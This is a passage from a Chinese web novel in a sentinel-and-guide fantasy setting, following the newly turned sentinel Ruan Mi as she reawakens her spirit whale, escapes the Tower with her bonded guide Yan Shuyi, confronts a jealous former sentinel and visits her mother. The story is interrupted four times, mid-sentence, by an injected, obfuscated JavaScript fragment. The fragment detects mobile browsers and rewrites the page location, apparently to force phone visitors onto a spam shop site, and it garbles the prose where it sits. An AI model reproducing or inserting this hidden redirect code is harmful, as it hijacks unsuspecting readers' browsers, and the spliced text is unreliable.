又一次凝望阮弥沉睡的面容,言述一目光中是难以言喻的温柔,在阮弥身边他就是很开心,没有任何缘由。 只是……他好像有些贪心。 他牵起阮弥垂落的手,落下一个轻吻,可即便这样他还是远远没有满足。在床边坐了很久,直至一人手心的温度传递到另一人的指尖,他俯下身子,小心翼翼地将掌心贴近自己的脸颊。 明明一开始只是看着就能获得温暖。 “人类都是贪得无厌的。”玄凤落在言述一的脑袋上啄了两下,制止他永无止境的索求。 言述一轻笑。 “我不否认。” 昼夜轮转,好在这一次阮弥醒来不再是黄昏。 居住在这里没什么大问题,只是阮弥不喜欢圣所,连带着也不喜欢属于他们管辖范围内的塔本身,她积极接受言述一的治疗、安抚、疏导、调节……为了能更快离开。 哨兵的五感异于常人需要调节才能正常生活,言述一将无限不可控的延展横轴固定下几个适合阮弥的倍数,再由阮弥自己学会调整。 “圣所对我教导的内容中,哨兵会被设置一个无法感知到痛觉的刻度,我觉得这样有些危险,所以我想给你调整到能够感受到自己受伤但不会很痛。” “没问题。”阮弥也不是不顾及自己生命的狂徒,“不过,圣所应该会有对应的反制手段吧。” “修改他们的记忆就好了。”言述一眉眼弯弯。 “我们来测试一下所有感知吧。” 大部分都进行得很顺利,直到测试听觉,阮弥背对着言述一看不见也不能感知他的方位,他则在不同的距离用极低的声音呼喊: “阮弥,阮弥……” 明明相隔很远,可在她的感知中就像言述一在自己耳畔低语呢喃,而且重复了很多很多次,每一次都在撩拨她的神经,像是给她来了一场意志力测试。 阮弥不知道是这几天第多少次握紧拳头暗暗咬牙:“都没什么问题。” 除开特殊加强外,哨兵还需要一个正常人类的生活标准,根据每个人的感受微调。 视觉,嗅觉,听觉,味觉都比较简单,在大致区间内就没什么问题,唯独触觉,个体差异再加上身体的每个部位都有所不同。 “这样的力度会感受到疼痛吗?” 言述一半跪在地上,轻轻按压阮弥的小腿,如宝石般无瑕的眼中满是无害地望向她,等待着她的回答。 “……轻微。” 阮弥移开视线,她总感觉言述一在勾引自己。 不不不,有没有一种可能是她自己的问题?他好像也没做什么出格的事吧?这到底是因为精神结合还是她色心大发?她不太清楚…… “你好像有点静不下来。”见阮弥不在状态,言述一起身坐到她的身旁。 “……是的。” “没关系,我们可以慢慢来。这几天调整下来你的精神力和精神空间已经趋于稳定,现在的问题是你的精神体也就是吞天鲸还没有醒来。” “要试试去精神空间里唤醒它吗?” 阮弥点头,没有任何犹豫。 这里和从前相比没什么太大变化,原先平静无波的无边海面上多了许多翻涌的浪涛,像是迎接阮弥到来,片片浪花涌到她的脚边。 她没耗费过多的时间去找寻不同,她想要见到小鲸。 “小鲸——你在哪——” “小鲸——” 迟迟没有得到回应,阮弥心中不免有些焦虑。 “对不起了小鲸。”她决定用出自己的杀手锏:“小鲸——你再不出来,我要去养小猫了。” “呜——” 沉眠于深海中的巨鲸睁开紧 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17546833|204185||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 闭的双眼,游往呼喊声所在的中央。 比小鲸先到的是几米高的海浪,阮弥被冷漠无情的海水拍倒在地,吞天鲸的长鸣带来安全的讯息,她也就躺在地上不愿再起。 “阮弥!你这个狠心的女人!!!你不是答应我不养猫的吗!!!!!” 急急赶到附近的小鲸用实际行动控诉着阮弥,朝向她的方向接连不断地用尾鳍拍打起海浪。 阮弥抬起手臂,螳臂当车。 等到小鲸发了火也没了力气,她才迟迟撑起身体,迎面又是一簇海浪。 无奈擦去面上的海水,阮弥开始求饶:“小鲸——我错了,你一直都不苏醒也不回应我,我担心你才说要养小猫嘛。” “你还叫它小猫?它一点都不小!” “好好好,不养猫了,我绝对不养。” “呜——” 小鲸又鸣叫一声,在阮弥周围的海水中游了几圈,才缩小自己化作拟态上岸飘在阮弥身边,帮她擦去身上的海水。 “弥弥,对不起,让你担心了。”小鲸围着阮弥转圈,“我最近这几天有点睡得太好了。” “你平安无事就好,是以前辛苦你了。”阮弥伸手截停,顺便摸摸它的脑袋。 “弥弥你真的成为哨兵了诶,是不是还有个向导?转换那天我见到了他的精神体,是一只小鸟。” “对,那是玄凤。” 阮弥没有急着离开精神空间,小鲸和她都需要一段久违的相处时光。 “你喜欢那个向导吗?” “嗯……我不知道。”抱着小鲸,阮弥又躺在了地上,看着精神空间内的湛蓝天空。 “不能说讨厌,也算不上不喜欢,你不在这几天我一直都和他待在一起,虽然有些时候会有想逃跑的冲动,但大多数时候我都不排斥他在身边。” “那就是喜欢了,我有点想见见他。” “是吗?”相较于自己而言小鲸反而更清楚她的感受,“那我们出去吧。” 重新睁开眼,阮弥带着小鲸回到现实。小鲸从出现的一瞬间就在四周肆无忌惮地晃悠:“弥弥,这是哪里啊?” “这里是塔内最高层。”有人解答了它的疑惑。 顺着声音的方向小鲸见到那个和自家哨兵精神结合的向导,他正弯腰笑吟吟地和它问好:“你好,小鲸,我是言述一。” “你好啊~”刚打完招呼,小鲸又见到之前有一面之缘的小鸟,“你好啊,玄凤。” “我带你去四处逛逛,你想去吗?” “好啊好啊。” 小鲸就这么把阮弥抛在脑后,跟着玄凤离开,而将一切收进眼底的阮弥无奈扶额,也由它去了。 “看起来它状态不错。” “是啊,好得很。” 转过眼阮弥却发现言述一有些愁绪,很细微,像是被他刻意隐藏了起来。身为前特级向导,日积月累的经验让她不依靠精神力也能察觉到。 “发生什么事了?可以告诉我吗?” “圣所的人让我给出你的数据,我没给,这也是小事,只是……”言述一蹙起眉头,“有人给我发了一些奇怪的信息。” “啧。”阮弥头一次在言述一面前露出明显烦躁的神情。 “抱歉,是我连累你了。我知道这个人是谁,可以让我回复他吗?” “当然。” 她接过终端,一目十行地扫过毫无实质的威慑信息,冷笑一声给予回复: “再发这种莫名其妙的消息给我的向导,就收拾收拾东西等着滚回你在下水道的老鼠窝吧。” 5. 第 5 章 “真是抱歉。”回复完之后,阮弥就将终端还给了言述一。 在对待言述一时,她会有意识收敛起先前外放的情绪:“这人是我以前负责的哨兵,我觉得他们那几个人每个都带点精神疾病。” “听起来真是糟糕,你很讨厌他们吗?” “算不上,我不喜欢他们,我也不想浪费精力去讨厌他们。” “这些人是圣所分配给你的吧?”如果阮弥有得选的话,应该不至于这么糟糕。 “对,因为我是特级,所以什么烂摊子都丢给我。”阮弥很清楚造成这一切的罪魁祸首是谁,“也不用担心,实在过火的时候我有报复回去。” 她面上挂着笑,却不太真切,带着些许冰冷。 “这样挺好的。” 言述一感知到阮弥的情绪有些趋于负面,不是很强烈,虽然有些好奇阮弥过去的生活经历,但他也打算更改一下聊天话题。 “我有点想知道阮弥从前是什么类型的向导。” “净化系,我没什么特殊能力。” 除开每个向导都拥有的能力之外,阮弥有所不同的地方在于精神力无与伦比的充足和强大,只需要稍加展开就有大范围影响区域。 “特级向导对非特级哨兵的疏导都很简单,只需要外放精神体再展开一定的范围让他们待在里面。” “如果陷入狂暴或者其他什么状态,我个人的经验是把他们的头按进外放的精神海或者其他载体里,多来几次就可以清醒。” 对此,言述一只为她感到痛心: “你一个人负责这么多哨兵肯定很麻烦,我之前看过的历史记录里哨兵和向导的数量没有那么失衡。”基本是一对一。 “是啊,‘彻底剿灭虫群后哨兵向导退出人类大舞台’,被美化成主动退出而已,实际上是失衡的开始。” 哨兵的比例没有变化,但再也没有出现特级哨兵,向导的比例则是逐渐减少至原先的一半,且每一位特级向导都有各自的缺陷。 在阮弥身上的体现是没有特殊能力,净化系只是一个还算好听的名头,每个向导都可以净化,言述一则是从出生开始就无法承受的精神力,导致长时间沉睡。 “圣所至今没有研究出什么实质性结论,长久以来都暗中流传着一种说法,这是虫族女皇的诅咒。” 阮弥话音刚落,在外面溜完一圈的小鲸就趴在了她的脑袋上。 “弥弥——我回来啦。” “怎么样?你想在这里待一段时间吗?”如果小鲸愿意,阮弥可以再留在塔里几天。 “只要能和你待在一起我都可以。” “我当然会和你待在一起。” 旁观的玄凤落在言述一肩头,明显感受到自家主人的情绪悄然变化,随即就听见由精神力传递的低语:“她们感情真的很好呢。” “怎么?你心理不平衡了?” 没等言述一组织好措辞回应玄凤的调侃,就见阮弥望向自己。 “说起来……言述一,圣所会让你离开吗?”她之前答应带他去圣奎姆逛逛的。 “不太清楚,不过,他们也拦不住我。” “那,你想和我一起走吗?” 言述一愣在原地。 “由于一些原因我不是很喜欢圣所,绝对不是因为你,我是有点不那么想待在塔内,但和你待在一起我也没觉得无聊什么的……” 阮弥不喜欢圣所和塔,但她想带他走。 “……总之,你要和我一起离开吗?” 玄凤啄了他一下,言述一恍然回神:“我想和你一起。” 无论是离开还是待在这里。 “那就走吧。”阮弥扬起笑颜给予回应。 “有什么需要带走的东西吗?”这里是言述一长期居住的地方,即便阮弥并没有看到多少属于他个人的生活痕迹。 言述一也摇摇头:“没有,我没什么要带走的。” 这里对他而言和囚笼没什么差别,大部分时间都在被迫沉睡,少有的清醒时间也画地为牢不愿离开。 “一般来说,都是从这里去往塔下。” 白底金纹的圆盘在他们面前,阮弥很熟悉,这就是塔内的升降台。 在启动的时候却没有反应,操纵台上显示言述一的权限被冻结,下一刻一道投影出现在他们面前:“阮弥女士,言少主,你们不能离开。” “除非提供圣阮弥女士详细的数据报告。” 言述一垂下眼帘抑制烦躁,他想和阮弥一起离开这里,当即就打算侵入并操控守卫的神经。 阮弥却握住他的手腕制止:“不能离开就不离开呗。” 话音落下,投影随即消散,阮弥破坏了墙体内的投影装置。 她放开言述一的手腕侧过身解释:“我相信你可以让我们平安离开,只是我想,你应该没在圣所面前展露过自己全部的能力吧?” 他点头:“嗯,有测试过,但我只展示了修改记忆这一种。” 言述一是复合系向导,他掌握着很多种特殊能力,包括但不限于删改记忆、操纵情绪、心灵控制和躯体控制。 “发现了价值,就会被利用。你可以把力量当作自己的底牌,现在还不是山穷水尽的时候。” 至于解决现状的办法? “我们去跳塔吧!”阮弥眼中闪着热切的光芒。 “……诶?” 比起夜晚,在白天时天台能看到的景象更加清晰明了。天朗气清,微风吹拂,再加上即将离开塔的欣喜,撑着墙面遥望的阮弥只觉得身心是前所未有的舒畅。 “今天天气真好啊。” 一阵轻风吹过,在她身后不远处的言述一却止住了步伐,少见地没有立刻来到阮弥的身旁。 他有些不安? 阮弥忽地想起,言述一从出生之后就没有离开过塔,她明白他大概率不害怕从高空坠落,而是害怕离开塔。外界的一切对他来说都充满未知,即便如此,他也会主动想要打开通道。 心中一道道思绪闪过,阮弥转身,笑着朝言述一伸出了手: “我可以牵你的手吗?” 蓝天白云衬着阮弥双眸,恍然间言述一觉得自己身处其中,他空荡荡又无处安放的心神好似有了一处得以容身的支点。 他本能地,搭上那带着暖意的掌心。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17546834|204185||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“好啊。” 言述一被阮弥反手紧紧握住,她的另一只手则不由分说地揽在他的腰上,还没等他反应过来就带着他登上半高的墙沿就往下跃去。 他感觉阮弥的心跳在自己耳边作响,与其一同的,还有她溢出的笑。 铺天盖地的失重感迎面袭来,他下意识握紧了阮弥的手,如潮水般的精神力减缓下坠的失控感,他们更像相连着一起坠入水中。 喧嚣的风让言述一什么都没看清,唯一在记忆里留下刻痕的是一道侧脸,映照在心底的灿烂笑颜。 阮弥如同晴日照射的海。 一个念头莫名从言述一心中窜出:只要和阮弥在一起,做什么事都可以。 塔和圣所在的这一片区域被称为圣地,阮弥不打算就那么落在塔底浪费时间和圣所的人对峙,在半空中小鲸就变大一些,接住他们的同时带着他们离开。 不过片刻,阮弥一行就回到她在圣奎姆的家。 这是言述一第一次立足于大地之上,周围的一切都让他觉得新奇,摇曳的树、泥土味的空气、坐落在各处装潢不一的房屋……玄凤又啄了两下言述一的脑袋。 “你还好吗?”阮弥的笑中带有几分歉意,更多的是先前兴奋的余韵。 “放心,我没事。”他以浅笑回应,“这就是你的家吗?” 言述一看向他们身后的房屋,和塔内的圣洁冷硬不同,以木为主的基调充满生机和温馨,他有点理解为什么阮弥会不喜欢塔,相比而言,那就是个精致的牢房。 “对,就是这里。”阮弥通过认证打开外院大门,“小鲸,你介绍一下家里的大致区域。” “你们先随便逛逛吧,我得去找一下怎么设置通行认证。” “好——”化作拟态的小鲸飘在前方带路。 “我们现在在的是前院,边上的花草植株是观赏用的,弥弥太忙了没时间照料,都是定期请人来修理。” 它带着言述一和玄凤逛逛外围,顺带展示自己的领地:“这是弥弥给我修的池塘!玄凤喜欢树吗?” “喜欢。” “那之后让弥弥买一棵回来。” 池塘边有连廊和亭子,后院的另一角则是一片草地,延长的屋檐下有一张明显属于阮弥的躺椅。 跟随小鲸转了一圈回到前院,言述一的感知捕捉到一道饱含恶意的视线。顺着阴冷的感觉望去,他看见大门外有一个人正看向自己。 同样见到屋外之人的小鲸在内心超大声呼喊:“弥弥!!!那只死鸟和他的主人又来了!” 和言述一对上视线,那人自顾自走了过来:“果然,你就是阮弥的新向导啊。” “你知道我?” 言述一的身份处在保密状态,这人要么是圣所高层,要么就是有不浅的接触。 “当然,长年昏迷不醒、没有实权的……言家少主。”某些字眼被刻意加重,“你应该感谢圣所的收留和上天眷顾的好运。” 身后传来匆匆的脚步声,言述一勾起真心实意的笑回应:“我会珍惜。” 下一刻,拿着备用终端的阮弥走到言述一身前。 “陆衍,你来干什么。” 6. 第 6 章 “这里没有人欢迎你。”阮弥不想在这些人身上浪费时间。 从见到阮弥开始,先前陆衍对言述一散发的恶意就一扫而空,他苦笑:“你这么说我会很伤心的,我只是想来见你一面。” “那你可以走了,别来烦我。” “阮弥……你知道我是想救你的,总之,你没事就好。” “那我可真是谢谢你的一片好心。”阮弥冷笑,态度没有丝毫缓和:“我最后再说一次,我不需要你自以为是的付出和拯救。” 她还记得陆衍和自己说过什么:救出她后要她和他结婚,要她随时佩戴抑制器,还有一个特制终端,想都不用想里面肯定会有定位器,不能随便和外界联络,还有什么为了避免旧事重演阮弥非必要不能离开他们的“家”中。 她是失去了自由,但她只需要每天无忧无虑等他回家就可以…… 相比于死掉或者成为废人的可能,陆衍不相信阮弥能成功转化为哨兵,他替阮弥作出抉择:换个名为家的牢房。 那个时候阮弥朝他脸上结结实实打了几拳,要不是圣所的人也在,她差一点就能掐死他。 思及至此,她也不想再和陆衍多费口舌:“管好你自己还有你那个见不得光的兄弟吧。” “小绝他……”陆衍叹气,“我知道了,我替小绝给你道歉。” “我不接受。” “好吧,我待会就会离开。”黯淡退场的前夕,陆衍好似还心有不甘,暗藏恶意的目光扫过阮弥身后的人:“不过……言述一,你就这么心安理得地躲在她的身后?你真以为自己能躲一辈子吗?” “唰!”凌厉无形的攻击相撞,树木应声被削去大半,陆衍那张还算不错的脸上溢出一道细长血痕。 “你在挑衅我?他是我的向导,你不配来指指点点。” 陆衍抬手拭去脸上的血迹,神色又沉下几分:“阮弥,你还没有痊愈,我也不想和你动手。” 阮弥嗤笑着收手:“最好是这样。” “我们进去吧。”她转身,不再停留。 陆衍没有像他说的那样离开,那阴沉目光一直追随阮弥,直至被人挡住,他看见言述一眼神冰冷,勾起碍眼的笑。 他的精神空间当即开始暴动。 合上的门扉隔绝出两个世界,阮弥完全不在意屋外的人,她正带着言述一去录通行认证。 “真是抱歉……”她记得自己今天好像已经说过一次,短短一天他们接连遇到两位“神奇”哨兵。 “没关系的,这本来就不是你的错。”言述一反而每一次都有些开心。 阮弥本人也没受什么影响,反倒是生出些期待,她期待陆衍更不知好歹不知死活的那天,如今的她可以下更重更狠的手。 小鲸则飘在阮弥身旁疯狂吐槽:“我怎么感觉陆衍的病情又加重了,几十个人完成一个S级任务,他出了点力就觉得自己和特级没什么差别了。” “你知道的,他向来拥有令人作呕的自信。” 顺着楼梯向下,二人来到地下室的安全系统机房,阮弥照着终端上的说明操作一番。 “来,站在这里扫描生物体征。信息本地存储,本地验证,不用担心有泄漏风险。” “这里只有我和我妈能进来,当然,现在还有你。我妈她一般也不会来这里住,她觉得这里背山太阴冷了,在圣奎姆的话,她绝大多数时候都在海湾区那边。” 阮女士前几天来了一次又走掉了,一则留言放在客厅中被阮弥收了起来,上面写着: “小弥~照顾好你的向导哦。” 想到这里阮弥不禁有些想要扶额的冲动。 没过多久,光幕上出现一行语句:“录入成功,欢迎您,言述一业主。” “这样就成功了,这边这个是开启紧急防护的拉杆,至于其他的功能我也记不清了,等拿到我的终端我传一份指南给你。” 等回到楼上,就看见小鲸早早开始和玄凤分享它喜欢的零食,阮弥摇摇头:“贪吃虫。” “走吧,现在我来带你逛逛。” 地下室入口离玄关很近,再过去就是客厅也是小鲸它们所在位置,阮弥带着言述一穿过,告诉他厨房和餐厅所在的区域,他看见那里有一张不大的圆桌和四把椅子。 相连落地窗角落处有一个空空如也的花瓶:“这里大多数时候都插着花,除了这段时间。” 阮弥被关在塔里无人打理,枯萎的花枝估计都是阮女士帮她带走的。 期间言述一的视线停留在一个由各种平台组成的物件上,他从脑海中翻出指代名词问道:“这是猫爬架吗?”阮弥家好像并没有小猫。 在他面前的人神色顿时微妙起来:“嗯……这里现在是小鲸的地盘。” “弥弥——”小鲸瞬间就飘了过来,“你不会还在想那只猫吧?你不准睹物思猫!” 阮弥托住小鲸就开始揉搓:“没有没有,我知道这是你的东西,当然是在想你啦。” “那就好,你一定一定不准想那只猫哦!” 小鲸仔细叮嘱后离开,面对言述一的笑容阮弥无奈摊手,用肢体语言表示情况就是这么个情况。不知道是有意还是无意,小鲸的声音从远处飘来: “猫会吃鱼,还会捕鸟,还会夺走我们的主人!简直是邪恶至极的生物!!!” 阮弥选择急速逃离,她抬手指向一扇小门:“那边走出去就是后院,我们不出去了,先上楼去选一下你的房间。” 二人径直来到三楼连廊,中间是客厅,房间在两侧。 “现在只有一个空房间在我的隔壁,之前是我妈在住,她住过几次。如果你想住其他房间的话也没问题,只是要收拾一下……” “那阮阿姨她住哪里?” “不用担心,她住楼下。她很少来索兰,来了也有自己的房子,以前闲暇时我会过去和她住。” 阮女士像是早有预料已经把自己的东西搬到楼下,顺带还把另一个剩下的空房间稍加布置,特地占位。 以免阮弥多想她还又留下一张纸条,附带一个笑脸: “我更喜欢这个向阳的房间,要是小弥特别想我的话,就来海湾找我吧。” 阮弥心底泛起的点点情绪被一张张纸条冲散回暖。 阮怀清从来都是为阮弥而来,从前有放长假时她们会住一起,不过在成为正式向导之后阮弥就没什么假期,阮女士也很少再来。 思绪片刻后,言述一说道:“那就不麻烦了,这里就很好。” 他想住阮弥隔壁,就算隔了一条连廊。 阮弥稍加思索,还想说些什么,转眼却看见言述一正认真地看着自己。见阮弥看了过来,言述一稍稍扬起唇角,说出自己一直想说的话: “阮弥,谢谢你。” 无论是带他离开塔,还是让他来到这里。 阮弥能感受到他言语中的诚挚,她回以一笑:“不必言谢,这些都是我力所能及的事情,如果可以的话不用拘谨,把这里当成家吧。” 面对一觉睡醒和自己精神结合临时绑定的向导,其实阮弥也不知道如何对待才是正确,很多事她都在依照自己的本能和感受。 离开前夕,她带着言述一去房间中看了看。 “阮阿姨是在其他星系 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17546835|204185||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 久居吗?” “嗯,她大多数时间都在曜尘,我和我妈都是曜尘人。” 言述一边看着房间思考需要布置些什么,边在脑海中寻找相关信息:“曜尘那边似乎不怎么注重精神力发展。”不推崇哨兵和向导特殊化,但也有曜尘圣所。 “对,他们科技挺发达的。” 那么,为什么阮弥会在索兰呢? “十二岁之前我一直在曜尘,我妈离婚对象的家族知道我精神力方面资质还不错后就要挟我和我妈,后面我就来了索兰的瑟拉瑞斯,待在圣奎姆已经十多年了。” 像是知道言述一的疑问,阮弥主动提起,她不带感情地叙述着,但…… “这些人好过分。”言述一皱起眉头,他记得圣所有一项规定,向导不得离开索兰境内。 他自己尚且是因为自身原因和母亲疏离,从相处的细枝末节中他也能感受出阮弥和阮阿姨关系很好,她们却因外界被迫分离。 “是啊,所以我讨厌他们。”阮弥又笑了起来,又是那种不真切掺杂着冰冷的笑容。 她会让他们付出代价。 “好啦,不说这些不开心的事情了。”阮弥很快就收起外泄的情绪,“有想好要买些什么布置房间吗?现在这个时间下单应该还来得及送到。” 就是她的终端不在身上,得借一下小鲸的钱。 小鲸:随便花,记得还。 等到言述一选好阮弥下订单后,天边已经遍布赤霞,是接近吃饭的时间点。 “我待会准备去找我妈吃晚饭,你和我一起去吗?”阮弥在选择预约送货上门的时间段,“她应该想见见你,而且……我觉得见不到你的话我妈很有可能会骂我。” 房间搬了,纸条写了,人呢?人不能丢。 “抛开这些不谈,主要看你自己的想法,你想去就去不去也没事的,阮女士也没那么不讲道理。” “没事的,我也想去见见阮阿姨。” “好,那我们一起去,不过我得先去取一下我的终端。” 圣所有规定,城市内禁止精神体高空飞行。先前已经违规过一次,为了避免圣所的人找麻烦阮弥选择老老实实驱车前往目的地。 每经过一个街区,她会简单介绍一下用途。 坐在副驾驶的言述一看着掠过的城市景观,他隐隐约约想起,这附近似乎是那天晚上阮弥带他看的那个有人打架的街区。 “老大——” 远远地就有人高举着挥手,从看到人影的那一刻开始,他就感受到阮弥心情不错。 车停在路边,有两人早早就等着阮弥到来,言述一记得其中一人是那天看向他们的女士。 阮弥简洁介绍:“洛安,巫蔓菁。” “你们好,我是言述一。” “你好啊,我是洛安。”轻快明亮的声音,她是刚才挥手的人,另一位巫蔓菁则是微笑颔首示意。 “老大,有些重要的事情我写成文档在终端发给你了。”洛安很快收回打量言述一的视线,将手中的终端递给了阮弥,“你要去哪?我都很久没见到你了,待会一起吃饭呗。” “我要找我妈,等回来时间也晚了,我明天来找你们。” 洛安的神色从失望很快转到期待:“好!阮姨也很担心你,快去见她吧,替我们问好。” “一路顺风。”巫蔓菁淡淡开口。 “好。” 目送阮弥远去,洛安脸上的表情立刻转变为打听八卦时的雀跃:“那个人就是老大的向导啊,菁菁姐你怎么看?你觉得老大喜欢他吗?” “我看啊,她自己都不是很清楚。” 7. 第 7 章 为什么洛安会称呼阮弥为老大呢?言述一心有不解,没有急着开口。 “安安和蔓菁都是普通人,她们在帮我处理一些我没空去管的事。”一个人的精力是有限度的,这段时间已经是阮弥久违的清闲时光。 同样在心中衡量许久后,阮弥没有再进一步说那些事情是什么。 “听起来像是虚伪之词,但我真心认为做个普通人没什么不好,即便不是哨兵或者向导,她们也可以做很多事情,拥有自己喜欢的生活。” “我同意你的看法,感受是真实,而非虚假。” 拥有精神力天赋的阮弥从小被迫离开母亲身边,出生就作为特级向导的言述一常年沉睡不醒。 言述一也时常会想,这究竟是上天赐予的礼物,还是一种诅咒? 彼此共鸣的同时言述一心中不安仍在作祟,他很清楚阮弥有所隐瞒,他不会多问,他深知如今的一切已是难能可贵。 只要自己身上拥有足够的价值,总有一天这份价值会被阮弥需要。 他告诉自己只需要耐心等待,用以压住不断冒出无法诉说的焦躁。 沿着道路驶入海湾区,恰逢日落西沉,灿烈的火红色光芒遍布天空,海面波光粼粼,飞鸟自翻涌的浪潮上掠过。 阮弥熟练地拐进小道,言述一看见一旁的全息指示牌从私人海滩禁止入内变为欢迎回家。 “小弥。” “妈。” 见到阮弥的那一刻阮怀清就顾不上旁人,她快步上前,本能地将自己差点失去的珍宝拥入怀中,确认阮弥完好无缺。 一直悬在她心中的重石终于在此刻落下:“你没事真是太好了。” “对不起,我又让你担心了。” 她安抚地拍拍阮弥后背,想要抹去阮弥心中的愧疚。 “没关系的。”结束短暂的拥抱后,阮怀清含笑看向一旁:“你就是小言了吧,让你见笑了,快进去吧。” “阿姨好。” 看着明显有些紧张手足无措的言述一,阮怀清主动拉着他的手臂往里走:“就当这里是自己家吧,不用拘谨,这段时间小弥有劳你关照了。” “没有的事,阮弥她……对我也很好。” “好好,你们都是好孩子。” 晚餐早早就准备好了,甚至包括小鲸和玄凤的份。用餐期间阮怀清也会关心言述一的口味,聊一些家长里短的小事,没有一个话题加重言述一的紧张,反倒是放松不少。 来到餐厅的那一瞬间,言述一就觉得这里的布局和阮弥家中有些相像。 阮怀清的海景别墅很宽敞,即便这样摆放在餐厅的依然是一张不大的圆桌,四把椅子已经是她们母女的让步,否则只会留下她们彼此的位置。 温馨的氛围让人沉醉,但言述一很清楚自己还是个外人。 “我想去外面的海滩上走走。”注意到阮弥的目光,“放心吧,我一个人没事的。” 等到空间中只剩下她们母女二人,阮怀清笑吟吟地看着有些担心言述一的阮弥打趣:“原来小弥喜欢小言这样的啊——” “妈!!!”言述一还没走远呢! “呀,怎么啦?难道小弥不喜欢吗?小弥的性取向应该不是女孩子吧?” “……不是。” “那你得好好珍惜人家小言了,我找人打听过,索兰这边的特级向导除了小言就只有一位女性向导,曜尘和永暮有是有男性特级向导,但都不是什么好东西。比较适合你性格的都只有女孩子,性别又不太合适……” “妈——我头痛。”阮弥选择装晕,顺势靠在阮女士的怀中。 “妈错了妈错了,不催你了。”阮怀清摸摸阮弥的脑袋,“是妈妈对不起你。” 特殊的身份有时也是一种诅咒,如果阮弥是普通人就不会被这些条条框框束缚住,她可以选择和尝试更多,而不是被局限在这一亩三分地上。 阮弥自己也深知这一点。 “怎么能是你的错呢?是我运气太好,更何况,成为哨兵是我自己选的。” “见你和小言相处得不错我其实松了一口气,不过小弥,我也希望这是你发自内心的选择,而不是权衡利弊。” 提起自己的向导,阮弥脑袋越发垂靠在阮怀清肩头。 “妈……我也不明白言述一为什么会醒来,为什么会和我精神结合,或许……我也清楚,他是因为我成为特级哨兵,才从沉睡中清醒过来。” “我很感激他将我从疯狂的边缘拉回来,即便代价是精神结合,而且他也帮我保住资产没有转移。” “可有些时候我总是会想,如果成为特级哨兵的不是我,那他会不会和其他的人站在一起?” “我并不觉得自己就是他最好的人选,如果有那么一丝可能,他遇到的不是我,他会过上更加幸福的生活,那我又该怎么办?” 千千万万种思绪将阮弥困在漩涡之中,没办法抽身。 “我不知道我的选择是对是错……” 所以阮弥不敢把洛安和巫蔓菁的真实身份告诉言述一,不敢告诉他自己的计划,更不敢去保证一个未来。 静静听着女儿的愁绪,阮怀清将阮弥抱得更紧些。 “我知道,小弥你不想来索兰,更不希望自己是什么特级向导特级哨兵,你讨厌这种外界认为的幸运。” “小时候什么都没有的你比现在要开心得多,整天整天上蹿下跳。” 回忆起往昔,阮怀清沉静的眼眸中跃起些许笑容,她看着窝在自己怀里的女儿,阮弥已经从无忧无虑小小一只成长为一个拥有许多烦恼的大人。 那点笑意渐渐退却,她抬手理了理阮弥微乱的发丝:“是妈妈没能保护好你。” “才不是你的错。”阮弥的声音带着些沉闷。 “好,那这些也不是小弥的错。” “成为特级获得特殊力量能保护自己本该是一件好事,只是这也要付出相应代价,哨兵和向导会被捆绑在一起。” “你讨厌那些哨兵,因为你知道他们爱特级向导这个特质远大过于你本身,现在你成为哨兵,也同样害怕哨兵的特质将自己和小言彻底捆绑,比起害怕自己没有选择,你还担心小言没有。” “我们家小弥是个很好的孩子,拥有常人没有的力量却不会去为非作歹,这样很好,但你总是陷进思维产生过多担心和忧虑,这样不好。” 一直以来,阮怀清都知晓自己的女儿在索兰并不开心。 “无论是过去还是现在,你都没有对自己拥有的身份产生认同,因为成为向导让你更加痛苦而不是更加幸福。” “可是小弥,这些力量这些身份都是你的一部分。固然拥有先天优势,但你也有主动去掌握更多的技能,和小鲸 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17546836|204185||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 相处很好也是你们彼此用心去维持。” “一件事情没有绝对的对错好坏之分,如今,你主动选择成为哨兵,这对你而言不再是强加于你的束缚,我相信你会善用自己的力量。” 之前阮弥告诉她是因为预测没有差错才去转换,可阮怀清何尝不明白,这是阮弥自己的选择。 无论预测的结果是好是坏,阮弥都会去尝试,并做好付出代价的准备。 